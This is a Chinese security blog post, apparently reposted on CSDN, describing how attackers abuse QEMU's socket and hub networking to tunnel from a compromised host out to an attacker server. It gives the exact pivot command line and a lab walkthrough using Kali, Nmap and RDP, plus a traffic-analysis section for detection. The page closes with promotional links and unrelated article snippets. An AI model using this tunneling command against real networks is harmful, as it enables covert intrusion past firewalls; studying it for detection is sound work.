一种利用合法工具渗透的新型方法

news2024/12/26 23:48:29

摘要

黑客在执行各种攻击步骤时倾向于优先选择合法工具,因为这些工具能帮助他们规避检测系统,同时将恶意软件开发成本降至最低。网络扫描、捕获进程内存转储、数据外泄、远程运行文件,甚至加密驱动器——所有这些都可以通过可信软件完成。为了在受损基础设施内获得立足点并发起攻击,黑客可以利用先前安装的恶意软件或通过公司的远程桌面协议(RDP)服务器或企业VPN与员工一同连接到网络(攻击者必须拥有具有适当权限的账户)。连接到受攻击组织的内部网络的另一种方式涉及使用实用程序设置网络隧道或在企业系统和对手服务器之间转发网络端口,从而使攻击者能够绕过NAT和防火墙,获取对内部系统的访问权限。本片文章讲述就是这类软件。

QEMU利用方法

先来看一段命令行, 该命令可以在没有LiveCD或磁盘映像的情况下启动:

qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev
socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev
hubport,id=port-sock,hubid=0,netdev=sock -nographic

该命令的参数解释如下:

  • qemu-system-i386.exe: QEMU系统的可执行文件。

  • -m 1M: 指定虚拟机的内存大小为1MB。这里指定的内存量非常小,可以模拟某些特定场景或测试用途。

  • -netdev user,id=lan,restrict=off: 创建一个用户模式网络设备,其ID为lan,并且禁用了限制(restrict=off)。用户模式网络设备允许虚拟机通过主机的网络连接到外部网络。

  • -netdev socket,id=sock,connect=<IP>:443: 创建一个基于Socket的网络设备,其ID为sock,并且连接到指定IP地址和端口443。可用于与远程服务器建立网络通信。

  • -netdev hubport,id=port-lan,hubid=0,netdev=lan: 创建一个网络集线器端口,其ID为port-lan,并将其连接到ID为lan的网络设备。

  • -netdev hubport,id=port-sock,hubid=0,netdev=sock: 创建另一个网络集线器端口,其ID为port-sock,并将其连接到ID为sock的网络设备。

  • -nographic: 这个参数指定不使用图形界面显示虚拟机的输出。通常用于在没有图形界面的环境中运行虚拟机,比如通过SSH连接。

通过上面的命令, 攻击者可以启动一个非常小的QEMU虚拟机, 该虚拟机具有一个基于用户模式的网络设备和一个基于Socket的网络设备, 可以用于建立到指定IP地址和端口的网络连接。

根据QEMU文档描述, QEMU与QEMU虚拟机之间是可以进行远程网络连接的, 如果攻击者攻入一个企业内部, 该企业内部正好也使用了QEMU虚拟机, 那么攻击者便可以建立外网QEMU与企业内网QEMU之间的网络连接。

图片

用户网络堆栈和虚拟集线器

图片

用户网络堆栈式将虚拟机连接到网络的最简单方法, 流量通过主机网络堆栈传递, 虚拟机连接到网络, 就好像它是主机机器上的常规应用程序一样。看下面这条命令:

qemu-system-x86_64 -netdev user,id=mynet0 -device e1000,netdev=mynet0

该命令参数含义如下:

  • qemu-system-x86_64: QEMU系统的可执行文件,用于启动x86_64架构的虚拟机。

  • -netdev user,id=mynet0: 创建一个用户模式网络设备,其ID为mynet0。用户模式网络设备允许虚拟机通过主机的网络连接到外部网络。

  • -device e1000,netdev=mynet0: 创建一个e1000型号的网络设备,并将其连接到ID为mynet0的网络设备。e1000是一种虚拟网卡设备,常用于QEMU虚拟机中模拟以太网连接。

该命令启动了一个QEMU虚拟机,该虚拟机具有一个用户模式的网络设备,允许连接到外部网络,并使用e1000型号的网络设备模拟以太网连接。

QEMU虚拟集线器是一种网络设备,用于在QEMU虚拟机之间建立网络连接。它类似于物理网络集线器,可以将多个虚拟机连接到同一个网络中,从而实现虚拟机之间的通信。通过虚拟集线器,虚拟机可以进行网络数据包的交换和传输,就像它们连接到同一个物理网络设备一样。虚拟集线器通常与其他网络设备配合使用,如虚拟网络适配器和套接字,以便在虚拟环境中模拟网络通信。

图片

QEMU Socket

图片

这种方式是通过网络套接字连接虚拟机, 以创建虚拟机网络拓扑或链接在不同主机上启动的虚拟机。

首先启动一个VM1, 命令如下:

qemu-system-x86_64 -netdev socket,id=mynet3,listen=:1234 -device e1000,netdev=mynet3

然后启动一个VM2, 并连接到VM1,命令如下:

qemu-system-x86_64 -netdev socket,id=mynet4,connect=127.0.0.1:1234 -device
e1000,netdev=mynet4

VM1在端口1234上监听,而VM2连接到该端口, 对于攻击者来说, 相当于在受害系统中启动一个客户端, 让它连接到攻击者服务器以打开对企业网络的访问权限, 该网络位于运行客户端的系统中, 这种方式几乎不会影响受害系统的性能, 因为攻击者在运行QEMU时既不会使用磁盘映像也不使用LiveCD。

下面将通过一个模拟环境来模拟实现上面技术, 模拟的网络环境主要包含三个部分:

  • InternalHost位于网络内部,没有互联网访问权限,并在端口3389上运行RDP服务器。它模拟了无法访问互联网的隔离系统。

  • PivotHost位于网络内部,但具有互联网访问权限。它模拟了被攻击者入侵并用于到达InternalHost的系统。

  • AttackerServer托管在云中,模拟了攻击者服务器。

以下是模拟环境的网络布局情况, 如图:

图片

在以上环境中, 在攻击者服务器上使用QEMU启动了一个来自Kali Linux LiveCD的虚拟机, 一个套接字类型的网络设备连接到虚拟机作为网络适配器, 并在端口443上进行监听。启动命令如下:

qemu-system-x86_64 -boot d -cdrom kali-linux-2023.3-live-amd64.iso -m 6048 -device
e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 2 -netdev socket,id=n1,listen=:443

在PivotHost上运行了另一个QEMU副本,并通过套接字网络设备连接到位于云端的AttackerServer的443端口。此外还连接了一个用户类型的网络设备,通过一个集线器与套接字连接在一起。启动命令如下:

qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev
socket,id=sock,connect=<AttackerServer>:443 -netdev hubport,id=port-
lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic

一旦启动,QEMU在PivotHost和攻击者服务器之间建立了一个网络隧道,更确切地说,是到Kali Linux虚拟机。Kali Linux可以扫描与PivotHost连接的子网以查找其他系统, 如图:

图片

扫描发现了内部主机,其IP地址为192.168.56.109。Nmap显示端口3389是开放的。尝试使用RDP连接到内部主机, 如图:

图片

因此,基本可以确定这种实现网络访问的技术确实有效。除了前面提到的网络设备类型外,QEMU还支持其他几种类型,这些类型也可以被恶意行为者利用。

图片

QEMU网络流量分析

图片

进行流量隧道传输时,QEMU不使用任何额外的加密。它传输封装的数据包是未加密的:发送到服务器的应用层数据包含封装的以太网帧的大小,如图:

图片

上图中封装的以太网帧大小为89(0x59)字节。该值紧随其后的就是封装的以太网帧数据。

将流量进行存储,随后可以通过移除前58个字节(对于TCP:14个字节用于以太网 + 20个字节用于IP + 20个字节用于TCP头 + 4用于内部数据包大小)来获得封装的流量。这可以在从PCAP文件中删除所有不含封装流量的数据包之后,使用Wireshark软件包中的editcap程序来完成。命令如下:

editcap.exe -L -C 58 original.pcap extracted_traffic.pcap

结果是一个PCAP文件,其中包含通过隧道发送的流量, 如图:

图片

 

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1627030.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ubuntu查看opencveigen

ubuntu查看opencv&eigen&cmake版本的方法 eigen eigen版本号在/usr/include/eigen3/Eigen/src/Core/util/Macros.h文件中&#xff0c;下图代表版本3.3.7 opencv版本 pkg-config --modversion opencv4也可能最后的字符串是opencv2&#xff0c;opencv

R基本的数据管理

一&#xff0c;创建变量 创建一个数据框 > myData<-data.frame(x1c(1,2,3,4,5,6),x2c(6,5,67,8,9,0)) > myDatax1 x2 1 1 6 2 2 5 3 3 67 4 4 8 5 5 9 6 6 0增加一列为两者的和 > myData$sum<-myData$x1myData$x2 > myDatax1 x2 sum 1 1 6 …

3d合并的模型为什么没有模型---模大狮模型网

在3D建模中&#xff0c;合并模型是常见的操作&#xff0c;它可以将多个模型合并成一个整体。然而&#xff0c;有时候在合并后却发现部分模型消失了&#xff0c;这可能会让人感到困惑和失望。本文将探讨为什么合并的3D模型中会出现没有模型的情况&#xff0c;并提供一些解决方法…

【Unity动画系统】动画基本原理与Avater骨骼复用

动画基本原理 动画片段文件是一个描述物体变化状态的文本文件 在Unity中创建的资源文件大多都是YAML语言编写的文本文件 Curves表示一种变化状态&#xff0c;为空的话则没有记录任何内容 位置变化后的旋转变化状态&#xff1a; 动画文件里的Path名字要相同才能播放相同的动画 …

数据结构与算法解题-20240426

这里写目录标题 面试题 08.04. 幂集367. 有效的完全平方数192. 统计词频747. 至少是其他数字两倍的最大数718. 最长重复子数组 面试题 08.04. 幂集 中等 幂集。编写一种方法&#xff0c;返回某集合的所有子集。集合中不包含重复的元素。 说明&#xff1a;解集不能包含重复的子…

稳态视觉诱发电位 (SSVEP) 分类学习系列 (3) :3DCNN

稳态视觉诱发电位分类学习系列:3DCNN 0. 引言1. 主要贡献2. 提出的方法2.1 解码主要步骤2.2 网络具体结构2.3 迁移策略 3. 结果和讨论3.1 数据集1上的结果3.2 数据集2上的结果3.3 零填充 4. 总结欢迎来稿 论文地址&#xff1a;https://www.sciencedirect.com/science/article/a…

[最新]CentOS7设置开机自启动Hadoop集群

安装好Hadoop后我们可以使用开机自启动的方式&#xff0c;节约敲命令的时间。注意是centOS7版本!!!和centOS6版本区别非常大!!! 1、切换到系统目录 [rootmaster ~]# cd /etc/systemd [rootmaster systemd]# ll total 32 -rw-r--r-- 1 root root 720 Jun 30 23:11 bootcha…

微信小程序:6.事件

什么事事件 事件就是渲染层到逻辑层的通讯方式&#xff0c;比如提交表单&#xff0c;按钮点击都可以看作一个事件。 小程序中常用的事件 事件对象属性列表 当事件回调时&#xff0c;会收到一个事件对象event&#xff0c;他详细属性如夏表所示&#xff1a; target和curren…

网络安全实训Day16

网络空间安全实训-渗透测试 漏洞扫描 定义 扫描和探测目标范围内的主机存在哪些安全漏洞&#xff0c;或扫描目标范围内的那些主机存在某个指定的漏洞 漏扫工具 AWVS APPScan MSF 使用MSF扫描漏洞并利用 1.搜索需要的攻击模块 search ms17-010 2.使用攻击模块 use 模块名称…

改ip地址软件手机怎么弄?分享操作指南与注意事项

随着移动互联网的普及&#xff0c;手机已成为我们日常生活中不可或缺的工具。在某些情况下&#xff0c;我们可能需要更改手机的IP地址&#xff0c;以满足特定的网络需求或实现某些功能。然而&#xff0c;对于许多用户来说&#xff0c;如何在手机上更改IP地址可能是一个相对陌生…

【Android】 网络技术

前言 本文用于记录Android网络技术的使用&#xff0c; 包括我们如何发起一条HTTP请求、解析XML、JOSN格式的数据以及最好用的网络库Retrofit。 使用HTTP协议访问网络 关于HTTP协议的工作原理&#xff0c;我们只需要知道客户端向服务器发起一条HTTP请求&#xff0c;服务器接收…

HarmonyOS开发案例:【rating组件】

介绍 将引导开发者使用rating组件实现星级打分功能。 相关概念 [rating组件]&#xff1a;评分条&#xff0c;可根据用户判断进行打分。 环境搭建 软件要求 [DevEco Studio]版本&#xff1a;DevEco Studio 3.1 Release及以上版本。OpenHarmony SDK版本&#xff1a;API vers…

预见预判|AIRIOT智慧交通管理解决方案

随着机动车保有量的逐步增加&#xff0c;城市交通压力日益增大。同时&#xff0c;新能源车辆的快速发展虽然带来了环保效益&#xff0c;但也因不限号政策而进一步加剧了道路拥堵问题。此外&#xff0c;各类赛事和重大活动的交通管制措施也时常导致交通状况复杂多变。面对这些挑…

Linux--MyMiniTry--Vim

首先下载好vim,我们可以按以下的方式进行光标的移动&#xff08;也可以回车进行换行&#xff09; &#xff08;--> 进入教程&#xff09; &#xff08;初始的时候没有文本&#xff0c;你怎么按都没有用&#xff09; &#xff08;我们要先按 i &#xff0c;进行插入文本才…

maven修改默认编码格式为UTF-8

执行mvn -version查看maven版本信息发现&#xff0c;maven使用的编码格式为GBK。 为什么想到要修改编码格式呢&#xff1f;因为idea中我将文件格式统一设置为UTF-8&#xff08;如果不知道如何修改文件编码&#xff0c;可以参考文末&#xff09;&#xff0c;然后使用maven打包时…

[GXYCTF 2019]BabyUpload

过滤 <? 且后缀不能有 php 上传1.jpg文件&#xff0c;内容为&#xff1a; <script languagephp>eval($_POST[cmd]);</script> 但文件后缀为.jpg&#xff0c;蚁剑不能连接。那怎么办呢&#xff1f; .htaccess文件&#xff1a;解析.jpg文件中的php代码 &#xf…

LLaMA-Factory参数的解答(命令,单卡,预训练)

前面这个写过&#xff0c;但觉得写的不是很好&#xff0c;这次是参考命令运行脚本&#xff0c;讲解各个参数含义。后续尽可能会更新&#xff0c;可以关注一下专栏&#xff01;&#xff01; *这是个人写的参数解读&#xff0c;我并非该领域的人如果那个大佬看到有参数解读不对或…

vue echarts折线图 折线堆积图和折线面积图

vue echarts折线图 折线堆积图和折线面积图 1、折线堆积图和折线面积图的结合&#xff1b; 上代码 <template><section><divid"performaceLineChart"ref"performaceLineChartRef"style"width: 100%; height: 500px"></d…

Spark-机器学习(5)分类学习之朴素贝叶斯算法

在之前的文章中&#xff0c;我们学习了回归中的逻辑回归&#xff0c;并带来简单案例&#xff0c;学习用法&#xff0c;并带来了简单案例。想了解的朋友可以查看这篇文章。同时&#xff0c;希望我的文章能帮助到你&#xff0c;如果觉得我的文章写的不错&#xff0c;请留下你宝贵…

k8s-身份认证与权限

认证概述 Kubernetes作为一个分布式集群的管理工具&#xff0c;保证集群的安全性是其一个重要的任务。所谓的安全性其实就是保证对Kubernetes的各种客户端进行认证和鉴权操作。 在Kubernetes集群中&#xff0c;客户端通常有两类&#xff1a; User Account&#xff1a;一般是独…